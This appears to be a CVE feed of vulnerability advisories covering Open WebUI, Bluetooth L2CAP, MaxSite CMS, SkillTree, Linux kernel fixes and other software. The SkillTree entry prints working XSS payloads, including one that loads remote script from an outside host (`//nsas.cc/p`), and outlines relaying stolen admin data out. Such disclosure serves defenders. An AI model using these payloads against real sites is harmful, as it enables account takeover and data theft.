CVE Feed

The Bluetooth Classic (BR/EDR) L2CAP receive handler bt_l2cap_br_recv() in subsys/bluetooth/host/classic/l2cap_br.c dispatched inbound data PDUs based only on the destination channel ID, without checking that the target channel had reached the BT_L2CAP_CONNECTED state. A dynamic channel is assigned its RX CID and added to the connection's channel list while still in BT_L2CAP_CONNECTING (and later BT_L2CAP_CONFIG) — before configuration completes and, for PSMs that require security, before the peer is authenticated (l2cap_br_conn_req()). Because the channel is already findable by bt_l2cap_br_lookup_rx_cid() during this window, a remote peer within radio range can send a data PDU addressed to that CID and have it processed on a not-yet-established channel. The dispatch keys off channel fields (BR_CHAN(chan)->rx.mode, rx.mps) that are only initialized during configuration by l2cap_br_conf(); since channel objects are pooled and bt_l2cap_br_chan_del() does not reset rx.mode or the reassembly buffer _sdu, a reused channel can carry stale state into the CONNECTING window and route the frame into the retransmission/flow-control path (bt_l2cap_br_ret_fc_recv()) with stale parameters and a possibly stale _sdu pointer. The impact is delivery of attacker data to upper-layer protocol handlers on a half-open (and possibly unauthenticated) channel, plus operation on stale or partially initialized channel state on reused channel objects — leading to channel/link teardown (denial of service) and, in the stale-_sdu case, a dangling-pointer condition. The fix adds an explicit BR_CHAN(chan)->state < BT_L2CAP_CONNECTED guard that drops any data received before the channel is fully connected.

A weakness has been identified in Rizwan17 inventory-management-system up to bfe78a330d01bb26b9daec5dc9ecd5c77900e03f. Affected by this issue is some unknown functionality of the file includes/DBOperation.php of the component List Handler. This manipulation of the argument category_name/brand_name/product_name causes cross site scripting. It is possible to initiate the attack remotely. The exploit has been made available to the public and could be used for attacks. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The project was informed of the problem early through an issue report but has not responded yet.

A security flaw has been discovered in Rizwan17 inventory-management-system up to bfe78a330d01bb26b9daec5dc9ecd5c77900e03f. Affected by this vulnerability is the function DBOperation.addCategory of the file includes/process.php of the component AJAX Backend. The manipulation of the argument userid results in missing authentication. The attack may be performed from remote. The exploit has been released to the public and may be used for attacks. This product utilizes a rolling release system for continuous delivery, and as such, version information for affected or updated releases is not disclosed. The project was informed of the problem early through an issue report but has not responded yet.

Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.5.0 until 0.11.1, the message-chain reconstruction helper in backend/open_webui/utils/misc.py advanced through a chat history by map key but tracked visited entries using each message body's optional id field. An authenticated user could store id-less messages in a parent cycle and trigger a non-terminating walk that blocked the async event loop, grew memory until termination, and remained persistent across process restarts. This issue is fixed in version 0.11.1.

Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.9.5 until 0.11.1, server-side web fetches did not reapply WEB_FETCH_FILTER_LIST or private-address controls to HTTP redirect destinations when AIOHTTP_CLIENT_ALLOW_REDIRECTS was enabled. An authenticated user could redirect the aiohttp and requests fetch paths to excluded hosts, loopback, private networks, or cloud metadata services and route resulting content into web search, URL ingestion, page-fetch tools, or chat image processing. This issue is fixed in version 0.11.1.

Pandora contains a path traversal vulnerability in its archive extraction worker. When processing a specially crafted archive or disk image, attacker-controlled file paths could be used without ensuring that the resulting destination remained within the intended extraction directory. An attacker able to submit a malicious file for analysis could use path traversal sequences or crafted paths to cause extracted content to be written outside the designated extraction directory, potentially overwriting files accessible to the Pandora worker process. Successful exploitation could result in unauthorized modification of application or system files, denial of service, and potentially further compromise depending on the permissions of the Pandora process and the files that can be overwritten. The vulnerability is addressed by resolving each extraction destination path before writing and verifying that it remains below the expected extraction directory. Extraction attempts resolving outside this directory are rejected and reported as path traversal attempts.

Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.10.0 until 0.11.1, DELETE /api/v1/chats/{id}/messages/{message_id} used the chat-history deletion helper in backend/open_webui/models/chats.py to follow childrenIds without recording visited message identifiers. An authenticated user could store a cyclic chat tree and delete a message, causing a synchronous infinite loop on the server request loop that blocked every user's requests until the process was killed. This issue is fixed in version 0.11.1.

Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. Prior to 0.11.1, POST /api/v1/retrieval/process/web and POST /api/v1/retrieval/process/web/search in backend/open_webui/retrieval/web/utils.py treated Python's globally routable address classification as proof that a destination was external. An authenticated user could make an Azure-hosted instance fetch and return content from 168.63.129.16, the Azure platform channel, as well as other reserved ranges that the standard classification did not reject. This issue is fixed in version 0.11.1.

Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.10.0 until 0.11.1, DELETE /api/v1/knowledge/{id}/delete in backend/open_webui/routers/knowledge.py authorized deletion against the knowledge base but then removed its administrator-owned external connection without a separate administrator check or a check for other dependent knowledge bases. A non-administrator with write access to one external knowledge base could delete shared instance configuration and make every other knowledge base using that connection unavailable. This issue is fixed in version 0.11.1.

A vulnerability was identified in Rizwan17 inventory-management-system up to bfe78a330d01bb26b9daec5dc9ecd5c77900e03f. Affected is the function update_record of the file includes/manage.php. The manipulation of the argument update_category/cid/update_brand/update_product leads to sql injection. The attack is possible to be carried out remotely. The exploit is publicly available and might be used. This product adopts a rolling release strategy to maintain continuous delivery. Therefore, version details for affected or updated releases cannot be specified. The project was informed of the problem early through an issue report but has not responded yet.

Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.10.0 until 0.11.1, POST /api/chat/completions and POST /api/v1/chat/completions in backend/open_webui/main.py copied a client-supplied folder_id into a new chat without applying the folder write-access check used by the dedicated chat routes. An authenticated user who knew a shared folder identifier could inject an attacker-controlled chat into a folder where the user had read-only or no write access, causing the entry to appear to authorized folder readers. This issue is fixed in version 0.11.1.

Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.9.6 until 0.11.1, SafePlaywrightURLLoader in backend/open_webui/retrieval/web/utils.py validated a user-controlled hostname in Python and then let the Playwright browser resolve it again in the sync and async request interceptors. An authenticated user controlling authoritative DNS could return a public address to validation and an internal address to the browser, exposing responses from internal services or cloud metadata through web search or URL ingestion. This issue is fixed in version 0.11.1.

Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.8.11 until 0.11.1, src/lib/components/chat/FileNav/PortPreview.svelte rendered terminal port content in an iframe sandbox containing both allow-scripts and allow-same-origin. Because the terminal proxy serves that content from the Open WebUI origin, an authenticated user with access to a shared terminal server could host script on a previewed port and take over a victim's account when the victim opened the preview. This issue is fixed in version 0.11.1.

Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.9.5 until 0.11.1, the channel branch of chat_completion in backend/open_webui/main.py checked channel write access and channel membership for a supplied message_id but did not verify that the calling user authored the targeted message. A channel member could use the chat completions endpoint to replace another member's message while preserving the victim as the stored author, altering the conversation record without gaining access to other channels. This issue is fixed in version 0.11.1.

Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.7.0 until 0.11.1, the built-in knowledge search tool passed the caller's readable knowledge identifiers through a metadata filter, but the search methods in eleven shipped vector backends ignored that filter. An authenticated user on an affected backend could enumerate the identifiers, names, and descriptions of inaccessible knowledge bases from the shared collection, although the associated document text remained in separate collections. This issue is fixed in version 0.11.1.

Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.6.41 until 0.11.1, get_user_by_oauth_sub and get_user_by_scim_external_id in backend/open_webui/models/users.py used JSON contains matching that compiled to SQL LIKE substring matching on SQLite. An OAuth subject containing percent or underscore wildcard characters could resolve to a different stored identity, potentially selecting an administrator account and issuing the attacker that account's session; PostgreSQL deployments were not affected. This issue is fixed in version 0.11.1.

In versions prior to 7.10.2 a path traversal vulnerability in the /attachRemoteFiles endpoint of Fortra's GoAnywhere MFT allows Web Users with both Secure Folders and Secure Mail permissions to escape their sandboxed home directory, achieving arbitrary file read.

Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.6.27 until 0.11.1, backend/open_webui/utils/tools.py captured a cookie jar from the enclosing connection loop instead of binding it to each external tool callable. When multiple tool servers were attached and a session or system OAuth connection was processed last, a request to a different server configured for bearer authentication could include the calling user's Open WebUI session cookies, allowing that server's operator to reuse the session and take over the account. This issue is fixed in version 0.11.1.

Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.9.0 until 0.11.1, role synchronization in backend/open_webui/routers/auths.py and backend/open_webui/utils/oauth.py updated an administrator's database role without invalidating the user record cached by backend/open_webui/socket/main.py. An administrator demoted through a trusted role header or OAuth role mapping could keep an already-open Socket.IO connection and continue reading or editing every user's collaborative notes until that connection closed. This issue is fixed in version 0.11.1.

Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.10.0 until 0.11.1, POST /api/v1/folders/{id}/update/parent allowed a user to place a folder under itself or one of its descendants, while the folder tree walks used by DELETE /api/v1/folders/{id} and POST /api/v1/folders/{id}/read did not track visited folder identifiers. An authenticated user could persist a parent cycle and start a request that consumed CPU and memory indefinitely, with the condition remaining stored until repaired. This issue is fixed in version 0.11.1.

Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.9.0 until 0.11.1, backend/open_webui/models/calendar.py stored the calendar event meta.alert_minutes value without type validation and the shared upcoming-event scheduler compared that value numerically. An authenticated user with the calendar permission could store a non-numeric alert_minutes value that raised an exception and aborted the instance-wide alert pass, suppressing all users' reminders while the event remained in the lookahead window. This issue is fixed in version 0.11.1.

Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.9.0 until 0.11.1, the unauthenticated POST /oauth/backchannel-logout handler in backend/open_webui/utils/oauth.py fetched the OIDC discovery document and signing keys before validating a submitted logout token. Each request repeated uncached network fetches, and the signing-key lookup blocked the async event loop, so requests carrying invalid tokens could stall the single-worker instance and amplify traffic to the identity provider when ENABLE_OAUTH_BACKCHANNEL_LOGOUT was enabled. This issue is fixed in version 0.11.1.

Rattler is a library that provides common functionality used within the conda ecosystem. `rattler_cache` prior to version 0.9.0 and `py-rattler` prior to version 0.24.0 were vulnerable to package-cache path traversal when handling package metadata from conda channels. During cache materialization, the `ratter_cache` code used the package record `build` string as part of a cache key that was joined into a filesystem path. A malicious or untrusted channel could publish repodata with path separators or traversal components in that field, causing package contents to be written outside the configured package cache directory. The issue requires use of a malicious or otherwise untrusted conda channel. Curated channels that validate package metadata are not expected to allow malformed build strings of this form. Users should upgrade to `rattler_cache` version 0.9.0 or `py-rattler` version 0.24.0 and avoid untrusted conda channels.

alf.io is an open source ticket reservation system for conferences, trade shows, workshops, and meetups. An Improper Access Control issue in versions prior to 2.0-M5-2605 allows an organization owner to read system-level configuration secrets through organization/event scoped "single configuration" endpoints. The affected endpoints require organization or event ownership, but they accept an arbitrary configuration key and then return the first matching value from a lookup that includes system-level configuration. As a result, an organization owner can retrieve secrets intended to be administrator-only, including the system API key when it is configured. Version 2.0-M5-2605 fixes the issue.

A flaw was found in PackageKit. In the dnf5 backend, the RepoRemove handler ignores the SIMULATE transaction flag and executes a real package removal, allowing an unprivileged local user to uninstall packages without polkit authorization.

An OS command injection weakness in the read-only enforcement of the SQL validation component in Amazon awslabs postgres-mcp-server before 1.1.7 might allow an unauthenticated actor to execute operating system commands on the host of a self-managed PostgreSQL server by placing a crafted COPY ... TO PROGRAM statement into content that is processed when an authenticated user interacts with the MCP server in its default read-only mode. To remediate this issue, users should upgrade to version 1.1.7 or later.

A vulnerability in the web-based management interface of CPPM guest account management services could allow an unauthenticated remote attacker to manipulate account settings. Successful exploitation could allow an attacker to extend network access beyond policy limits, leading to unauthorized prolonged use of network resources.

A vulnerability in the ClearPass OnGuard agent could allow an authenticated remote attacker to elevate their own privileges on a vulnerable ClearPass OnGuard deployment. Successful exploitation could allow an attacker to obtain root privileges, leading to potentially unauthorized operation of the vulnerable system.

A vulnerability in the CPPM web interface could allow an authenticated remote attacker to access directory information on a vulnerable system. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system.

A vulnerability in the web-based management interface of CPPM could allow an unauthenticated remote attacker to conduct a Denial-of-Service (DoS) attack. Successful exploitation could allow an attacker to cause instability and degrade performance of the vulnerable CPPM server.

A vulnerability in the web-based management interface of vulnerable CPPM systems could allow an authenticated remote attacker to achieve remote code execution. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system.

SkillTree is a micro-learning gamification platform. Prior to version 4.4.2, two independent code flaws combine into a single exploitable attack chain, with three distinct exploitation paths of escalating impact. `StringHighlighter.js` builds an HTML string by interpolating raw `value` substrings directly into a template literal with no HTML entity encoding. `HighlightedValue.vue` renders that string — and all unfiltered plain values — via Vue's `v-html` directive, which sets `innerHTML`. Separately, the account registration endpoint accepts `firstName`, `lastName`, and `nickname` fields and stores them without any HTML sanitization. An attacker self-registers with `firstName = "<img src=x onerror=alert(1)>"` (28 characters — within the 30-character field limit) and visits any quiz. The next time an administrator opens the Quiz Runs page the payload executes in their browser. Three attack paths exist with escalating impact. The first is basic cross-site scripting. Any self-contained payload fitting the 30-character limit (e.g. `<img src=x onerror=alert(1)>`, which is 28 chars) fires automatically when the admin navigates to the runs page through normal use. Arbitrary code execution in the admin's browser is confirmed with zero extra steps. The second is remote script loading via `import()`. Using the split-field technique (`lastName = "<img src=x"`, `firstName = "onerror=import('//nsas.cc/p')>"`), the attacker loads a full JavaScript file from their server. The file has no size limit and can perform any admin action — delete all projects, create backdoor accounts, dump user data, install a keylogger. No phishing required. The only constraint is that the URL must fit in 11 characters (`//nsas.cc/p`). The third is full cross-site request forgery token theft. Using `eval(name)`, the attacker pre-sets `window.name` to a data-theft payload by sending the admin one redirect link first. The session cookie is `HttpOnly` and cannot be read via `document.cookie`; however, the XSRF token is readable and the attacker leverages same-origin execution to call admin APIs from inside the victim's browser, relaying the responses to an external server. No admin interaction beyond routine use is required. Version 4.4.2 contains a patch.

MaxSite CMS through 109.6 passes the ci_session cookie to unserialize() without class restrictions, allowing unauthenticated attackers to inject PHP objects. Attackers can forge valid session cookies using the hardcoded encryption key to trigger magic methods and corrupt application state or achieve code execution if gadget classes exist.

MaxSite CMS through 109.6 ships with a hardcoded session encryption key in application/config/config.php that is never changed during installation, allowing unauthenticated attackers to forge administrator session cookies. Attackers can mint a malicious ci_session cookie with administrator privileges by computing an HMAC-SHA1 using the publicly known encryption key, bypassing authentication checks in is_login() and mso_check_allow() functions.

MaxSite CMS versions 0.94 through 109.6 contain a cross-site scripting vulnerability in the admin_page upload handler that allows any logged-in user to upload HTML files. Attackers can upload HTML containing malicious scripts to the uploads/_pages/ directory, which executes in visitors' browsers when the file is accessed, enabling persistent stored cross-site scripting attacks.

MaxSite CMS through 109.6 contains a local file inclusion vulnerability in the ajax and require-maxsite dispatchers that allows unauthenticated attackers to execute privileged handler files by supplying base64-encoded path traversal sequences. Attackers can bypass path validation checks and execute admin-gated handler actions without authentication to access sensitive functionality.

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability exists that could cause privilege escalation to root and unauthorized execution of administrative functions when an authenticated user with SSH enabled interacts with the operating system console that improperly processes user-controlled input.

Dell PowerScale OneFS, versions 9.5.0.0 through 9.7.1.15, versions 9.8.0.0 through 9.13.1.0, and versions prior to 9.15.0.0, contain an Incorrect Authorization vulnerability. A low privileged adjacent network attacker could potentially exploit this vulnerability, leading to unauthorized modification of system logs.

CWE-918: Server-Side Request Forgery (SSRF) vulnerability exists that could cause unauthorized command execution and disclosure of server data when an attacker with a privileged account sends crafted, unvalidated parameters to a server endpoint.

Incomplete list of disallowed inputs in the mutable SQL detector component in Amazon awslabs mysql-mcp-server might allow context-dependent actors to bypass the read-only enforcement gate and reach file-read and file-write SQL sinks via SQL inline comments that the regex engine does not treat as whitespace. To remediate this issue, users should upgrade to version 1.0.23.

Dell PowerScale OneFS versions 9.12.0.0 through 9.13.1.0 contain an Insecure Temporary File vulnerability. A low privileged remote attacker could potentially exploit this vulnerability, leading to denial of service and information tampering.

In the Linux kernel, the following vulnerability has been resolved: vlan: fix skb_under_panic and races when toggling HW VLAN offload Toggling hardware VLAN TX offload (NETIF_F_HW_VLAN_CTAG_TX or NETIF_F_HW_VLAN_STAG_TX) on a lower device invokes vlan_transfer_features(), which dynamically changed vlandev->hard_header_len. This causes two issues: 1. Lockless TX paths (e.g. packet_snd in af_packet.c, ip6_finish_output2) read dev->hard_header_len without holding RTNL lock. Mutating hard_header_len dynamically under RTNL creates a data race where upper layers reserve insufficient headroom based on a stale hard_header_len, resulting in skb_under_panic when vlan_dev_hard_header() is called. 2. In addition, vlan_transfer_features() updated hard_header_len without updating header_ops, causing a mismatch between allocated headroom and header creation. Always setting dev->hard_header_len = real_dev->hard_header_len and dev->needed_headroom = real_dev->needed_headroom + VLAN_HLEN unconditionally ensures: - dev->hard_header_len remains 100% static and immutable at real_dev->hard_header_len, eliminating all dynamic runtime updates and data races on hard_header_len. - Upper layers allocating skbs via LL_RESERVED_SPACE() will always reserve sufficient headroom for software VLAN tag insertion (real_dev->hard_header_len + real_dev->needed_headroom + VLAN_HLEN). - vlandev inherits real_dev->needed_tailroom so underlying trailer/padding/ICV requirements are honored. - AF_PACKET SOCK_RAW network header offsets remain correctly aligned at real_dev->hard_header_len. - vlan_header_ops is used unconditionally. Note to stable teams: Make sure to backport these commits: e16e960d55a4 ("ipvlan: inherit needed_headroom and needed_tailroom from phy_dev") cef51860becd ("macvlan: inherit needed_headroom and needed_tailroom from lowerdev")

In the Linux kernel, the following vulnerability has been resolved: crypto: krb5 - use kfree_sensitive() for derived key buffers crypto_krb5_prepare_encryption() and crypto_krb5_prepare_checksum() free the buffer holding the freshly derived keys with plain kfree(), leaving the key material behind in the freed slab object.

In the Linux kernel, the following vulnerability has been resolved: xhci: dbgtty: Fix unregister on tty_register_driver() failure If tty_register_driver() fails, it drops the reference, but fails to set the global dbc_tty_driver to NULL, causing the unregister to be called again when module exits. On module unload dbc_tty_exit() only gates its cleanup on the driver pointer being non-NULL, so it operates on the already-freed driver: module_init(xhci_hcd_init) xhci_hcd_init() xhci_dbc_init() [return value ignored] dbc_tty_init() tty_register_driver() fails tty_driver_kref_put() -> driver freed (dbc_tty_driver left dangling) ... module_exit(xhci_hcd_fini) xhci_hcd_fini() xhci_dbc_exit() dbc_tty_exit() if (dbc_tty_driver) -> true (dangling) tty_unregister_driver() -> use-after-free

In the Linux kernel, the following vulnerability has been resolved: crypto: qcom-rng - Allow zero as a random number Zero is a valid random number and needs to be allowed. Otherwise the output is distinguishable from random.

In the Linux kernel, the following vulnerability has been resolved: KVM: s390: vsie: zero stale crypto bits When shadowing crypto access bits from a format0 apcb (crycb 0 or 1), the bits 64..255 are unchanged from whatever is in the vsie page in the crycb and thus in the apcb. This gives a nested guest potential access to a device no longer available. Zero out the remaining bits.

CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') vulnerability exists that could cause remote code execution by an attacker with a privileged account when malicious arguments are provided as backup configuration parameters.

Dell PowerScale OneFS, Versions 9.5.0.0 through 9.7.1.0, Versions 9.8.0.0 through 9.10.1.0, and Versions 9.11.0.0 through 9.14.0.1, contain a command injection vulnerability. An admin privileged local attacker could potentially exploit this vulnerability, leading to elevation of privileges to root, impacting confidentiality, integrity, and availability.

In the Linux kernel, the following vulnerability has been resolved: io_uring: defer eventfd signaling when queued from a wakeup handler io_req_local_work_add() signals the CQ ring eventfd inline when it is the one to push the first entry onto ->work_list. For DEFER_TASKRUN rings that add is frequently done from a waitqueue wakeup handler, where an arbitrary waitqueue lock is held. eventfd_signal_mask() only refuses to recurse when current->in_eventfd is set, but that bit is set by eventfd_signal_mask() itself. If the wake chain starts somewhere else, signal goes out inline and can feed back into epoll. Add IOU_F_TWQ_IN_WAKE, set it on the task_work add done from the three waitqueue callbacks, and use it to force io_eventfd_signal() down the existing call_rcu_hurry() deferral instead of signaling inline.

In the Linux kernel, the following vulnerability has been resolved: drm/amdgpu: fix recursive ww_mutex acquire in amdgpu_devcoredump_format When dumping IB contents from a hung job, amdgpu_devcoredump_format() acquired the VM root PD's reservation via amdgpu_vm_lock_by_pasid() and then, for each IB, called amdgpu_bo_reserve() on the BO backing the IB. Both reservations are reservation_ww_class_mutex objects and neither used a ww_acquire_ctx, which trips lockdep: WARNING: possible recursive locking detected -------------------------------------------- kworker/u128:0 is trying to acquire lock: ffff88838b16e1f0 (reservation_ww_class_mutex){+.+.}-{4:4}, at: amdgpu_devcoredump_format+0x1594/0x23f0 [amdgpu] but task is already holding lock: ffff8882f82681f0 (reservation_ww_class_mutex){+.+.}-{4:4}, at: amdgpu_devcoredump_format+0x1594/0x23f0 [amdgpu] Possible unsafe locking scenario: CPU0 ---- lock(reservation_ww_class_mutex); lock(reservation_ww_class_mutex); *** DEADLOCK *** May be due to missing lock nesting notation Workqueue: events_unbound amdgpu_devcoredump_deferred_work [amdgpu] Call Trace: __ww_mutex_lock.constprop.0 ww_mutex_lock amdgpu_bo_reserve amdgpu_devcoredump_format+0x1594 [amdgpu] amdgpu_devcoredump_deferred_work+0xea [amdgpu] The two reservations are on different BOs in the captured trace, so the splat is a lockdep-correctness warning, not an observed deadlock. It becomes a real self-deadlock whenever the IB BO shares its dma_resv with the root PD (the always-valid case, see amdgpu_vm_is_bo_always_valid()): amdgpu_bo_reserve(abo) re-acquires the same ww_mutex without a ticket and blocks forever. With amdgpu.gpu_recovery=0 the timeout handler refires every ~2 s and each invocation produces this splat, drowning the kernel ring buffer. Now that amdgpu_vm_lock_by_pasid() takes a drm_exec context, move the IB dumping into a separate helper that locks the root PD and every IB BO together in a single drm_exec ticket. DRM_EXEC_IGNORE_DUPLICATES handles IB BOs that share a dma_resv (e.g. always-valid BOs, or two IBs backed by the same BO). Every lock is now a top-level acquire under one ww_acquire_ctx, so the recursive ww_mutex condition is gone, and the per-IB amdgpu_bo_reserve()/amdgpu_bo_unref() dance -- including a BO refcount leak on the amdgpu_bo_reserve() failure path -- is removed. (cherry picked from commit d6bf4242731219ee08ce54c365631e395486651e)